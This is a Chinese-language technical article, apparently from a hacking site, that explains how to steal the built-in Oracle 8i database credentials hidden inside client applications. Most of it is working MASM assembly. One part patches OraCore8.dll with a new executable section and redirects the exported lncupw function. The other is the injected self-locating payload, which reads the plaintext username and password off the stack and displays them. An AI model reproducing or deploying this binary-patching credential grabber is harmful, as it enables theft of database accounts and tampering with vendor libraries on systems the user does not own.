大部分的服務器/客戶端系統的結構可以這樣描述:
客戶端 <---(1)---> 系統TCP/IP模塊 <---(2)---> 網絡 <----> 系統的TCP/IP模塊 <----> 服務端
對於這些系統,一般的安全問題出在由(2)所示的地方,比如說當使用 POP3 協議收取郵件,或者用 Telnet 登錄到遠程主機的時候,其登錄密碼都是未經加密的,只要在網絡上安裝一個嗅探器 (Sniffer) 來監聽數據包,就可以很容易地截獲用戶名和密碼。
但對於 Oracle 系統來說,用戶名和密碼在網絡上傳遞之前,是經過加密的,而且加密的算法是不可逆的,即使使用嗅探器探聽到數據包,開始無法把數據庫的連接密碼恢復出來,Oracle 系統的結構可以如下描述:
客戶端應用程序 <--(1)--> Oracle客戶端軟件 <---(2)---> 系統TCP/IP模塊 <---(3)---> 網絡 <--> 系統的TCP/IP模塊 <---> Oracle數據庫
對於這一類系統,所有在(2)或者(3)處監聽到的登錄數據包都是已經經過加密的,但是,考慮一下我們編寫 Oracle 數據庫應用程序的時候,無論是通過 ODBC 還是 Pro C,或者其他的 BDE 環境等,都是將數據庫連接的用戶名和密碼用明文的方式傳遞給 Oracle 客戶端驅動程序的,所以在(1)位置的數據流肯定明文的,密碼是在 Oracle 客戶端軟件中被加密後才經過(2)、(3)等步驟發送出去,如果在(1)的位置進行攔截,就可能攔截到密碼。
考慮到步驟(1)發生在應用程序到 Oracle 系統的調用中,也就是發生在 API 調用的層次,所以只要找到密碼加密模塊的入口,在對相應的 API 進行 Hook,就能截獲到密碼了。
有人可能存在一個疑問:使用 Sniffer 可以監聽到網絡上其他計算機的連接數據包,而在 API 層次上進行攔截是針對本機的,但要是自己能夠在本機上連接,就表示已經知道密碼了,再去截獲不是多此一舉嗎?
非也!
實際上大部分的 Oracle 應用程序都包括一個用戶開發的客戶端,這個客戶端可能是用 C、PowerBuilder 和其他語言開發的,這些軟件提供一個界面提示用戶輸入用戶名和密碼登錄系統,但是這個用戶名和密碼並不是數據庫的連接用戶名和密碼,而僅僅是一個類似於 users 表中的一條記錄而已,而程序內部內置的數據庫連接帳號才是我們的目標,一般來說,客戶端應用程序是這樣工作的:
1. 使用一個內置的數據庫連接帳號連接到數據庫。
2. 彈出一個對話框提示用戶輸入用戶名 xxx 和密碼 yyy
3. 使用類似於 select * from users where username='xxx' and passWord='yyy' 一類的 SQL 語句查詢用戶是否有權登錄系統。
我們的目標就是步驟1中的連接帳號,這個帳號存在於客戶端軟件中,雖然可能已經被靜態加密(也就是說用16進制軟件去搜尋可執行文件時並不能被找到),但它運行後需要連接數據庫的時候必然會被解密並用明文傳遞到 Oracle 客戶端軟件中。
方法
好了,現在來看看具體的實現方法。
1. 相關的調用
第一步當然要知道在哪裡下手,經過了一番跟蹤以後(這裡省去跟蹤的步驟 n 步,大家可以嘗試自己跟蹤一下),就可以發現用戶名和密碼是在 OraCore8.dll 模塊中的 lncupw 函數中被加密的,而且這個函數的調用方法如下:
invoke lncupw,addr Output,1eh,addr szPassWord,dwLenPass,addr szUserName,dwLenName,NULL,1
函數的入口參數包括明文的數據庫連接用戶名和密碼,以及他們的長度,運行的結果是在第一個參數Output指定的緩沖區中返回加密後的數據,以後這個加密後的數據會被發送到服務器端進行認證。
2. 具體的實現方案
我們的方法就是在對 OraCore8.dll 進行補丁,在 dll 文件中附加一段代碼,然後修改 dll 的導出表中 lncupw 函數對應的入口地址,將它指向到附加的代碼中,然後由這段代碼在堆棧中取出用戶名和密碼並顯示出來,完成這個步驟後再跳轉到原始的 lncupw 函數的入口地址去執行原有的功能。
這個方案涉及到兩個技術問題,第一是對 dll 文件的修改問題,這個問題可以歸結為在 PE 文件後添加可執行代碼的方法問題,第二就是寫被附加到 dll 文件後的程序體的問題。
對 dll 文件的修改代碼的片斷如下,在這以前,我們假定已經做了其他這樣一些工作:
※ 文件名字符串放在 szFileName 指定的緩沖區中。
※ 已經對文件進行校驗,找到了導出表中的 lncupw 項目,這個項目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 變量中。
※ 找出了 dll 文件中的 PE 文件頭位置,並拷貝 PE 文件頭到 lpPeHead 指定的位置中。
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \ FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL .if eax == INVALID_HANDLE_VALUE invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR jmp _Ret .endif mov @hFile,eax ;******************************************************************** ; esi --> 原PeHead ; edx --> 最後一個節表,ebx --> 新加的節表 ;******************************************************************** mov esi,lpPeHead assume esi:ptr IMAGE_NT_HEADERS movzx eax,[esi].FileHeader.NumberOfSections dec eax mov ecx,sizeof IMAGE_SECTION_HEADER mul ecx mov edx,esi add edx,eax add edx,sizeof IMAGE_NT_HEADERS mov ebx,edx add ebx,sizeof IMAGE_SECTION_HEADER assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER ;******************************************************************** ; 加入一個新的節,並修正一些PE頭部的內容 ;******************************************************************** inc [esi].FileHeader.NumberOfSections mov eax,[edx].PointerToRawData add eax,[edx].SizeOfRawData mov [ebx].PointerToRawData,eax invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment mov [ebx].SizeOfRawData,eax invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment add eax,[edx].VirtualAddress mov [ebx].VirtualAddress,eax mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\ or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE invoke lstrcpy,addr [ebx].Name1,addr szMySection ;******************************************************************** ; 寫文件 ;******************************************************************** invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\ addr @dwTemp,NULL invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\ addr @dwTemp,NULL mov eax,[ebx].PointerToRawData add eax,[ebx].SizeOfRawData invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN invoke SetEndOfFile,@hFile ;******************************************************************** ; 修正新加代碼中的 Jmp oldEntry 指令 ;******************************************************************** mov eax,[ebx].VirtualAddress add eax,(offset _dwOldEntry-offset APPEND_CODE+4) sub dwProcEntry,eax mov ecx,[ebx].PointerToRawData add ecx,(offset _dwOldEntry-offset APPEND_CODE) invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL ;******************************************************************** ; 修正入口指針 ;******************************************************************** mov eax,[ebx].VirtualAddress add eax,(offset _NewEntry-offset APPEND_CODE) mov dwProcEntry,eax invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL ;******************************************************************** ; 關閉文件 ;******************************************************************** invoke CloseHandle,@hFile _Ret: ; 修改完成
這段代碼完成了3個步驟,首先是掃描PE文件頭中的節表,並在最後添加一個新的節,以便把附加的代碼寫到這個節中,這個節的屬性被設置為可執行、可讀、可寫,因為代碼運行需要的數據區也放在這裡。然後程序修改附加代碼最後的 jmp 指令,將它指到原始的 lncupw 函數中。最後程序在 dll 的導出表中將 lncupw 函數的入口地址指向附加代碼中。
下面是被附加到 dll 後的代碼,這段代碼被寫成可以自我定位的格式,代碼首先在內存中找出 Kernel32.dll 的位置並從中找出 LoadLibrary 函數和 GetProcAddress 函數的地址,然後調用這兩個函數獲取其他一系列要用到的函數的入口地址:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 要被添加到 OraCore8.dll 文件後面的執行代碼 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; ; ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 一些函數的原形定義 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _ProtoGetProcAddress typedef proto :dword,:dword _ProtoLoadLibrary typedef proto :dword _ProtoMessageBox typedef proto :dword,:dword,:dword,:dword _Protowsprintf typedef proto c :dword,:VARARG _ApiGetProcAddress typedef ptr _ProtoGetProcAddress _ApiLoadLibrary typedef ptr _ProtoLoadLibrary _ApiMessageBox typedef ptr _ProtoMessageBox _Apiwsprintf typedef ptr _Protowsprintf ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; ; APPEND_CODE equ this byte ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 被添加到目標文件中的代碼從這裡開始 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> hDllKernel32 dd ? hDllUser32 dd ? _GetProcAddress _ApiGetProcAddress ? _LoadLibrary _ApiLoadLibrary ? _MessageBox _ApiMessageBox ? _wsprintf _Apiwsprintf ? szLoadLibrary db 'LoadLibraryA',0 szGetProcAddress db 'GetProcAddress',0 szUser32 db 'user32',0 szMessageBox db 'MessageBoxA',0 szwsprintf db 'wsprintfA',0 szCaption db 'Oracle 8i 密碼截取補丁',0 szFormatPwd db '截獲 Oracle 連接:',0dh,0ah,0dh,0ah db '用戶名:%s',0dh,0ah db '密 碼:%s',0 szTmpBuffer db 512 dup (?) szUserName db 64 dup (?) szPassWord db 64 dup (?) ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 錯誤 Handler ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext pushad mov esi,_lpExceptionRecord mov edi,_lpContext assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT mov eax,_lpSEH push [eax + 0ch] pop [edi].regEbp push [eax + 8] pop [edi].regEip push eax pop [edi].regEsp assume esi:nothing,edi:nothing popad mov eax,ExceptionContinueExecution ret _SEHHandler endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 在內存中掃描 Kernel32.dll 的基址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> szKernel32 db 'KERNEL32' _GetKernelBase proc _dwKernelRet local @dwReturn pushad mov @dwReturn,0 ;******************************************************************** ; 重定位 ;******************************************************************** call @F @@: pop ebx sub ebx,offset @B ;******************************************************************** ; 創建用於錯誤處理的 SEH 結構 ;******************************************************************** assume fs:nothing push ebp lea eax,[ebx + offset _PageError] push eax lea eax,[ebx + offset _SEHHandler] push eax push fs:[0] mov fs:[0],esp ;******************************************************************** ; 查找 Kernel32.dll 的基地址 ;******************************************************************** mov edi,_dwKernelRet and edi,0ffff0000h .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE mov esi,edi add esi,[esi+003ch] .if word ptr [esi] == IMAGE_NT_SIGNATURE assume esi:ptr IMAGE_NT_HEADERS mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress add esi,edi assume esi:ptr IMAGE_EXPORT_DIRECTORY mov esi,[esi].nName add esi,edi mov ecx,sizeof szKernel32 push edi lea edi,[ebx+szKernel32] cld repz cmpsb pop edi .if ZERO? mov @dwReturn,edi .break .endif assume esi:nothing .endif .endif _PageError: sub edi,010000h .break .if edi < 70000000h .endw pop fs:[0] add esp,0ch popad mov eax,@dwReturn ret _GetKernelBase endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 從內存中模塊的導出表中獲取某個 API 的入口地址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _GetApi proc _hModule,_lpszApi local @dwReturn,@dwStringLength pushad mov @dwReturn,0 ;******************************************************************** ; 重定位 ;******************************************************************** call @F @@: pop ebx sub ebx,offset @B ;******************************************************************** ; 創建用於錯誤處理的 SEH 結構 ;******************************************************************** assume fs:nothing push ebp lea eax,[ebx + offset _Error] push eax lea eax,[ebx + offset _SEHHandler] push eax push fs:[0] mov fs:[0],esp ;******************************************************************** ; 計算 API 字符串的長度(帶尾部的0) ;******************************************************************** mov edi,_lpszApi mov ecx,-1 xor al,al cld repnz scasb mov ecx,edi sub ecx,_lpszApi mov @dwStringLength,ecx ;******************************************************************** ; 從 PE 文件頭的數據目錄獲取導出表地址 ;******************************************************************** mov esi,_hModule add esi,[esi + 3ch] assume esi:ptr IMAGE_NT_HEADERS mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress add esi,_hModule assume esi:ptr IMAGE_EXPORT_DIRECTORY ;******************************************************************** ; 查找符合名稱的導出函數名 ;******************************************************************** mov ebx,[esi].AddressOfNames add ebx,_hModule xor edx,edx .repeat push esi mov edi,[ebx] add edi,_hModule mov esi,_lpszApi mov ecx,@dwStringLength repz cmpsb .if ZERO? pop esi jmp @F .endif pop esi add ebx,4 inc edx .until edx >= [esi].NumberOfNames jmp _Error @@: ;******************************************************************** ; API名稱索引 --> 序號索引 --> 地址索引 ;******************************************************************** sub ebx,[esi].AddressOfNames sub ebx,_hModule shr ebx,1 add ebx,[esi].AddressOfNameOrdinals add ebx,_hModule movzx eax,word ptr [ebx] shl eax,2 add eax,[esi].AddressOfFunctions add eax,_hModule ;******************************************************************** ; 從地址表得到導出函數地址 ;******************************************************************** mov eax,[eax] add eax,_hModule mov @dwReturn,eax _Error: pop fs:[0] add esp,0ch assume esi:nothing popad mov eax,@dwReturn ret _GetApi endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 新的入口地址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _NewEntry: ;******************************************************************** ; 重定位並獲取一些 API 的入口地址 ;******************************************************************** pushad call @F @@: pop ebx sub ebx,offset @B ;******************************************************************** .if dword ptr [ebx+_MessageBox] jmp @F .endif ;******************************************************************** invoke _GetKernelBase,7b000000h ;獲取Kernel32.dll基址 or eax,eax jz _ToOldEntry mov [ebx+hDllKernel32],eax ;獲取GetProcAddress入口 lea eax,[ebx+szGetProcAddress] invoke _GetApi,[ebx+hDllKernel32],eax or eax,eax jz _ToOldEntry mov [ebx+_GetProcAddress],eax lea eax,[ebx+szLoadLibrary] ;獲取LoadLibrary入口 invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax or eax,eax jz _ToOldEntry mov [ebx+_LoadLibrary],eax lea eax,[ebx+szUser32] ;獲取User32.dll基址 invoke [ebx+_LoadLibrary],eax or eax,eax jz _ToOldEntry mov [ebx+hDllUser32],eax lea eax,[ebx+szMessageBox] ;獲取MessageBox入口 invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax mov [ebx+_MessageBox],eax or eax,eax jz _ToOldEntry lea eax,[ebx+szwsprintf] ;獲取MessageBox入口 invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax mov [ebx+_wsprintf],eax or eax,eax jz _ToOldEntry ;******************************************************************** ; 程序功能開始 ;******************************************************************** ; lncupw 的調用方式是: ; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1 ; 現在的堆棧內容是: ; ... ; esp+14*4 dwLenUserName ; esp+13*4 addr szUserName ; esp+12*4 dwLenPass ; esp+11*4 addr szPassWord ; esp+10*4 1eh ; esp+9*4 addr Output ; esp+8*4 call's return address ; esp+到esp+8*4 pusha 推入堆棧的8個寄存器值 ; ; 所以,從 esp+13*4 和 esp+11*4 取出的就是 Oracle 應用程序 ; 傳遞進來的用來連接數據庫的用戶名和密碼地址。 ;******************************************************************** @@: mov esi,[esp+13*4] ;username lea edi,[ebx+szUserName] mov ecx,[esp+14*4] cmp ecx,60 jle @F mov ecx,60 @@: cld rep movsb xor eax,eax stosb mov esi,[esp+11*4] ;password lea edi,[ebx+szPassWord] mov ecx,[esp+12*4] cmp ecx,60 jle @F mov ecx,60 @@: rep movsb xor eax,eax stosb lea eax,[ebx+szUserName] lea ecx,[ebx+szPassWord] lea edx,[ebx+szFormatPwd] lea esi,[ebx+szTmpBuffer] invoke [ebx+_wsprintf],esi,edx,eax,ecx lea ecx,[ebx+szTmpBuffer] lea eax,[ebx+szCaption] invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION ;******************************************************************** ; 執行原來的文件 ;******************************************************************** _ToOldEntry: popad db 0e9h ;0e9h是jmp xxxxxxxx的機器碼 _dwOldEntry: dd ? ;用來填入原來的 lncupw 函數的入口地址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> APPEND_CODE_END equ this byte
對 OraCore8.dll 進行了這樣的補丁以後,凡是有應用程序連接 Oracle 數據庫,附加代碼就可以截獲到連接所用的用戶名和密碼並通過一個 MessageBox 顯示出來了!